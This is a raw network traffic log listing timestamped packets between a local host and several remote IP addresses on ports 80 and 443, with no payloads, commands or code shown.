Aug 30, 2024 03:17:06.679763079 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679869890 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679882050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679903984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679914951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679919958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679932117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679943085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679944038 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679955959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679969072 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.679991007 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.679996967 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680001974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680037975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680039883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680049896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680058956 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680069923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680074930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680094004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680100918 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680105925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680128098 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680130959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680151939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680174112 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680321932 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680422068 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680438042 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680453062 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680459976 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680464029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680475950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680489063 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680491924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680502892 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680514097 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680537939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680614948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680625916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680635929 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680660963 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680686951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680695057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680711985 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680722952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680733919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680743933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.680748940 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680768967 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.680788994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.681094885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681138039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681149960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681162119 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.681171894 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.681235075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681246996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681262016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681272984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681278944 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.681293964 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.681318045 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.681344032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681391001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681400061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.681423903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.682037115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.682086945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.682099104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.682109118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.682133913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.682161093 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.682835102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682847023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682857990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682892084 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.682902098 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.682910919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682921886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682933092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682944059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.682946920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682956934 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.682970047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682976007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.682991028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.682991982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683000088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683005095 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683038950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683075905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683085918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683096886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683108091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683113098 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683126926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683154106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683195114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683206081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683216095 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683235884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683259964 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683274031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683285952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683295965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683310032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683320045 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683339119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683343887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683374882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683415890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683434010 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683445930 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683458090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683475971 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683501005 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683547974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683559895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683569908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683581114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683585882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683593988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683604956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683609962 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683617115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683635950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683654070 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683686972 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683698893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683711052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683725119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683731079 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683737040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683749914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683753014 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683770895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683792114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683799028 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683813095 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683823109 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.683847904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.683871984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.686697960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.686750889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.686799049 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.692511082 CEST	443	49741	76.76.21.241	192.168.2.4
Aug 30, 2024 03:17:06.706306934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706350088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706352949 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706361055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706393003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706393957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706406116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706423044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706458092 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706460953 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706473112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706484079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706496954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706517935 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706538916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706549883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706561089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706587076 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706593990 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706620932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706631899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706657887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706669092 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706700087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706711054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706722021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706732988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706737995 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706743956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706763029 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706787109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706828117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706842899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706852913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706865072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706875086 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706913948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706917048 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706917048 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.706927061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.706959009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707046032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707056999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707067013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707078934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707087994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707091093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707103014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707106113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707114935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707140923 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707163095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707168102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707223892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707257986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707273960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707285881 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707295895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707295895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707309961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707314014 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707331896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707355976 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707433939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707446098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707456112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707467079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707477093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707479954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707489967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707493067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707501888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707523108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707536936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707560062 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707573891 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707597971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707608938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707614899 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707637072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707659006 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707676888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707688093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707698107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707710981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707720041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707720041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707740068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707743883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707755089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707775116 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.707947969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707959890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707969904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707982063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707994938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.707995892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708005905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708015919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708039999 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708095074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708106041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708115101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708125114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708136082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708138943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708148003 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708152056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708177090 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708199024 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708353996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708364964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708374023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708385944 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708395958 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708396912 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708408117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708419085 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708420038 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708430052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708437920 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708441973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708453894 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708460093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708466053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708477974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708492994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.708493948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708493948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708518982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.708540916 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.717308998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717319965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717330933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717353106 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717376947 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717389107 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717422009 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717482090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717492104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717500925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717523098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717531919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717540979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717540979 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717561960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717569113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717576981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717586994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717587948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717607975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717613935 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717617035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.717637062 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.717648983 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.722748995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722807884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722820044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722862959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.722876072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722886086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722913027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722922087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.722946882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.722958088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.722975016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723002911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723011017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723037958 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723151922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723176956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723186970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723196030 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723225117 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723231077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723242044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723275900 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723442078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723485947 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723490000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723501921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723542929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.723573923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723584890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.723594904 CEST	80	49737	176.113.115.33	192.168.2.4
